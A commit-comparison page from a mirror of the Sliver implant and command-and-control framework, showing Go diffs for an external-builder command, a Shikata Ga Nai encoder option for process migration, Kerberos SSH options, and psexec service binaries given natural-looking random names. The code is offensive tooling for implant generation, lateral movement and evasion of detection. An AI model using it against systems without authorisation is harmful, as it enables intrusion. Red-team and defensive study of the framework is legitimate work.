mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
74
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a8a36dd6e2 | ||
|
|
0a4dfccf25 | ||
|
|
20df965603 | ||
|
|
7b697ae5d1 | ||
|
|
ab5b319a9d | ||
|
|
fc18744280 | ||
|
|
8c5d55404c | ||
|
|
53c436b7dc | ||
|
|
3bf6ca5527 | ||
|
|
f5b8e3f23f | ||
|
|
3cb03537e5 | ||
|
|
85d23885ae | ||
|
|
6cad9d45d0 | ||
|
|
2810bebd07 | ||
|
|
cf0eb211e4 | ||
|
|
3668cd73fb | ||
|
|
69804ed3b9 | ||
|
|
2d376ce90b | ||
|
|
dbee28263b | ||
|
|
3160c8f31f | ||
|
|
84746926f0 | ||
|
|
020e18d0f8 | ||
|
|
ceca730e6b | ||
|
|
677a079132 | ||
|
|
971f44e4a1 | ||
|
|
d17b842d63 | ||
|
|
032e116a42 | ||
|
|
5cc548589f | ||
|
|
4047b42522 | ||
|
|
a2b039bb51 | ||
|
|
3c7fe8f1c6 | ||
|
|
a1d6d00a6a | ||
|
|
2481b9632f | ||
|
|
58e11d40fa | ||
|
|
196d42c8f1 | ||
|
|
3a4eee20a0 | ||
|
|
7714950206 | ||
|
|
bae0f479b8 | ||
|
|
fd090228e8 | ||
|
|
69dfe8c047 | ||
|
|
d8b9f7cbd6 | ||
|
|
4c6269ba5a | ||
|
|
c98d1e2c17 | ||
|
|
d582987c78 | ||
|
|
794db93ec9 | ||
|
|
338b622b97 | ||
|
|
4ecf42b5c2 | ||
|
|
7c5262d63d | ||
|
|
1a41eacb66 | ||
|
|
32e4ed63e9 | ||
|
|
e65629e089 | ||
|
|
0c14621e53 | ||
|
|
e27e030431 | ||
|
|
1fd850c738 | ||
|
|
4738bf229c | ||
|
|
c0a5a06efc | ||
|
|
97ff802a40 | ||
|
|
106c7f0427 | ||
|
|
37a46a21e0 | ||
|
|
060d1c40fd | ||
|
|
3320f3958b | ||
|
|
643a9ca3fe | ||
|
|
52c2e1b0cf | ||
|
|
0fab805980 | ||
|
|
dd9bb01640 | ||
|
|
0df56e5a95 | ||
|
|
e8a77d83ea | ||
|
|
98de546086 | ||
|
|
9e9ab2042f | ||
|
|
d7d946f17a | ||
|
|
c4555a124a | ||
|
|
65a44da85f | ||
|
|
6b0d6b2784 | ||
|
|
4b1991ad5d |
No files matched your search
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.19.1
|
||||
FROM golang:1.19.2
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
package builders
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// BuildersCmd - List external builders
|
||||
func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if len(builders.Builders) == 0 {
|
||||
con.PrintInfof("No external builders connected to server\n")
|
||||
} else {
|
||||
PrintBuilders(builders.Builders, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name", "Operator", "Templates", "Platform", "Compiler Targets",
|
||||
})
|
||||
for _, builder := range externalBuilders {
|
||||
|
||||
targets := []string{}
|
||||
for _, target := range builder.Targets {
|
||||
targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
|
||||
}
|
||||
|
||||
row := table.Row{
|
||||
builder.Name,
|
||||
builder.OperatorName,
|
||||
strings.Join(builder.Templates, ", "),
|
||||
fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
|
||||
strings.Join(targets, "\n"),
|
||||
}
|
||||
tw.AppendRow(table.Row(row))
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -41,6 +41,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/armory"
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/builders"
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/cursed"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
@@ -1208,6 +1209,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
a.Uint("pid", "pid")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
@@ -1297,6 +1300,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("P", "password", "", "SSH user password")
|
||||
f.String("l", "login", "", "username to use to connect")
|
||||
f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
|
||||
f.String("c", "kerberos-config", "/etc/krb5.conf", "path to remote Kerberos config file")
|
||||
f.String("k", "kerberos-keytab", "", "path to Kerberos keytab file")
|
||||
f.String("r", "kerberos-realm", "", "Kerberos realm")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -1318,8 +1324,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("N", "name", "", "agent name")
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
f.Bool("E", "external-builder", false, "use an external builder")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
@@ -1376,8 +1384,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("N", "name", "", "agent name")
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
f.Bool("E", "external-builder", false, "use an external builder")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
@@ -1547,6 +1557,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
|
||||
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1611,6 +1623,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -3547,4 +3561,22 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(cursedCmd)
|
||||
|
||||
// [ Builders ] ---------------------------------------------
|
||||
buildersCmd := &grumble.Command{
|
||||
Name: consts.BuildersStr,
|
||||
Help: "List external builders",
|
||||
LongHelp: help.GetHelpFor([]string{consts.BuildersStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
builders.BuildersCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
}
|
||||
con.App.AddCommand(buildersCmd)
|
||||
}
|
||||
@@ -20,7 +20,7 @@ package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
@@ -50,7 +50,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
}
|
||||
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
|
||||
assemblyBytes, err := os.ReadFile(assemblyPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
|
||||
@@ -23,7 +23,6 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
|
||||
@@ -52,7 +51,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
pid := ctx.Flags.Uint("pid")
|
||||
shellcodePath := ctx.Args.String("filepath")
|
||||
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
|
||||
shellcodeBin, err := os.ReadFile(shellcodePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
@@ -82,7 +81,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
Data: shellcodeBin,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
oldSize := len(shellcodeBin)
|
||||
|
||||
@@ -18,7 +18,6 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -242,7 +241,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st
|
||||
|
||||
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
|
||||
|
||||
outFilePath, err = ioutil.TempFile("", outFileName)
|
||||
outFilePath, err = os.CreateTemp("", outFileName)
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -3,14 +3,17 @@ package exec
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
@@ -33,12 +36,19 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
pid := ctx.Args.Uint("pid")
|
||||
config := con.GetActiveSessionConfig()
|
||||
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
if ctx.Flags.Bool("disable-sgn") {
|
||||
encoder = clientpb.ShellcodeEncoder_NONE
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
|
||||
|
||||
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
|
||||
Pid: uint32(pid),
|
||||
Config: config,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Encoder: encoder,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -21,17 +21,19 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
insecureRand "math/rand"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -93,7 +95,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
|
||||
} else {
|
||||
// use a custom exe instead of generating a new Sliver
|
||||
fileBytes, err := ioutil.ReadFile(customExe)
|
||||
fileBytes, err := os.ReadFile(customExe)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
|
||||
return
|
||||
@@ -101,7 +103,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
serviceBinary = fileBytes
|
||||
}
|
||||
|
||||
filename := randomString(10)
|
||||
filename := randomFileName()
|
||||
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
|
||||
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
|
||||
// upload to remote target
|
||||
@@ -172,11 +174,28 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
|
||||
}
|
||||
|
||||
func randomString(length int) string {
|
||||
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
b := make([]byte, length)
|
||||
for i := range b {
|
||||
b[i] = charset[insecureRand.Intn(len(charset))]
|
||||
func randomFileName() string {
|
||||
noun, _ := codenames.RandomNoun()
|
||||
noun = strings.ToLower(noun)
|
||||
switch insecureRand.Intn(3) {
|
||||
case 0:
|
||||
noun = strings.ToUpper(noun)
|
||||
case 1:
|
||||
noun = strings.ToTitle(noun)
|
||||
}
|
||||
return string(b)
|
||||
|
||||
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
|
||||
sep := separators[insecureRand.Intn(len(separators))]
|
||||
|
||||
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
prefix := ""
|
||||
for index := 0; index < insecureRand.Intn(3); index++ {
|
||||
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
}
|
||||
suffix := ""
|
||||
for index := 0; index < insecureRand.Intn(6)+1; index++ {
|
||||
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
|
||||
}
|
||||
@@ -21,7 +21,7 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
@@ -45,7 +45,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
processName := ctx.Flags.String("process")
|
||||
args := strings.Join(ctx.Args.StringList("args"), " ")
|
||||
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
|
||||
@@ -1,9 +1,27 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -24,7 +42,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
processName := ctx.Flags.String("process")
|
||||
exportName := ctx.Flags.String("export")
|
||||
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -1,8 +1,26 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
@@ -31,9 +49,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
port := ctx.Flags.Uint("port")
|
||||
privateKeypath := ctx.Flags.String("private-key")
|
||||
if privateKeypath != "" {
|
||||
privKey, err = ioutil.ReadFile(privateKeypath)
|
||||
privateKeyPath := ctx.Flags.String("private-key")
|
||||
if privateKeyPath != "" {
|
||||
privKey, err = os.ReadFile(privateKeyPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -43,6 +61,19 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
hostname := ctx.Args.String("hostname")
|
||||
command := ctx.Args.StringList("command")
|
||||
kerberosRealm := ctx.Flags.String("kerberos-realm")
|
||||
kerberosConfig := ctx.Flags.String("kerberos-config")
|
||||
kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
|
||||
|
||||
if kerberosRealm != "" && kerberosKeytabFile == "" {
|
||||
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
|
||||
return
|
||||
}
|
||||
kerberosKeytab, err := os.ReadFile(kerberosKeytabFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
|
||||
oldUsername := username
|
||||
@@ -59,6 +90,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
PrivKey: privKey,
|
||||
Password: password,
|
||||
Command: strings.Join(command, " "),
|
||||
Realm: kerberosRealm,
|
||||
Krb5Conf: kerberosConfig,
|
||||
Keytab: kerberosKeytab,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -31,7 +31,11 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, con)
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, save, con)
|
||||
} else {
|
||||
externalBuild(config, save, con)
|
||||
}
|
||||
}
|
||||
|
||||
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
|
||||
|
||||
@@ -1,10 +1,28 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
@@ -51,12 +69,12 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
arch := ctx.Flags.String("arch")
|
||||
proto := ctx.Flags.String("protocol")
|
||||
format := ctx.Flags.String("format")
|
||||
badchars := ctx.Flags.String("badchars")
|
||||
badChars := ctx.Flags.String("badchars")
|
||||
save := ctx.Flags.String("save")
|
||||
|
||||
bChars := make([]string, 0)
|
||||
if len(badchars) > 0 {
|
||||
for _, b := range strings.Split(badchars, " ") {
|
||||
if len(badChars) > 0 {
|
||||
for _, b := range strings.Split(badChars, " ") {
|
||||
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
|
||||
}
|
||||
}
|
||||
@@ -98,7 +116,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return
|
||||
|
||||
@@ -22,12 +22,11 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"os/signal"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
@@ -36,6 +35,8 @@ import (
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
@@ -82,6 +83,9 @@ var (
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
|
||||
ErrNoExternalBuilder = errors.New("no external builders are available")
|
||||
ErrNoValidBuilders = errors.New("no valid external builders for target")
|
||||
)
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
@@ -94,7 +98,24 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, con)
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, save, con)
|
||||
} else {
|
||||
_, err := externalBuild(config, save, con)
|
||||
if err != nil {
|
||||
if err == ErrNoExternalBuilder {
|
||||
con.PrintErrorf("There are no external builders currently connected to the server\n")
|
||||
con.PrintErrorf("See 'builders' command for more information\n")
|
||||
} else if err == ErrNoValidBuilders {
|
||||
con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
|
||||
con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", config.Format, config.GOOS, config.GOARCH))
|
||||
con.PrintErrorf("See 'builders' command for more information\n")
|
||||
} else {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func expandPath(path string) string {
|
||||
@@ -118,7 +139,7 @@ func saveLocation(save, DefaultName string) (string, error) {
|
||||
if strings.HasSuffix(save, "/") {
|
||||
log.Printf("%s is dir\n", save)
|
||||
os.MkdirAll(save, 0700)
|
||||
saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
|
||||
saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
saveDir := filepath.Dir(save)
|
||||
@@ -132,7 +153,7 @@ func saveLocation(save, DefaultName string) (string, error) {
|
||||
log.Printf("%s does exist\n", save)
|
||||
if fi.IsDir() {
|
||||
log.Printf("%s is dir\n", save)
|
||||
saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
|
||||
saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
|
||||
@@ -157,8 +178,9 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
|
||||
return "Shared Library"
|
||||
case clientpb.OutputFormat_SHELLCODE:
|
||||
return "Shellcode"
|
||||
default:
|
||||
return "Unknown"
|
||||
}
|
||||
panic(fmt.Sprintf("Unknown format %v", value))
|
||||
}
|
||||
|
||||
// Shared function that extracts the compile flags from the grumble context
|
||||
@@ -323,6 +345,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
ObfuscateSymbols: symbolObfuscation,
|
||||
C2: c2s,
|
||||
CanaryDomains: canaryDomains,
|
||||
TemplateName: ctx.Flags.String("template"),
|
||||
|
||||
WGPeerTunIP: tunIP.String(),
|
||||
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
|
||||
@@ -608,6 +631,130 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
|
||||
potentialBuilders, err := findExternalBuilders(config, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var externalBuilder *clientpb.Builder
|
||||
if len(potentialBuilders) == 1 {
|
||||
externalBuilder = potentialBuilders[0]
|
||||
} else {
|
||||
con.PrintInfof("Found %d external builders that can compile this configuration", len(potentialBuilders))
|
||||
externalBuilder, err = selectExternalBuilder(potentialBuilders, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Using external builder: %s\n", externalBuilder.Name)
|
||||
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Externally generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
} else {
|
||||
con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||
}
|
||||
if config.ObfuscateSymbols {
|
||||
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
|
||||
} else if !config.Debug {
|
||||
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
|
||||
}
|
||||
start := time.Now()
|
||||
|
||||
listenerID, listener := con.CreateEventListener()
|
||||
|
||||
waiting := true
|
||||
spinner := spin.New()
|
||||
|
||||
sigint := make(chan os.Signal, 1) // Catch keyboard interrupts
|
||||
signal.Notify(sigint, os.Interrupt)
|
||||
|
||||
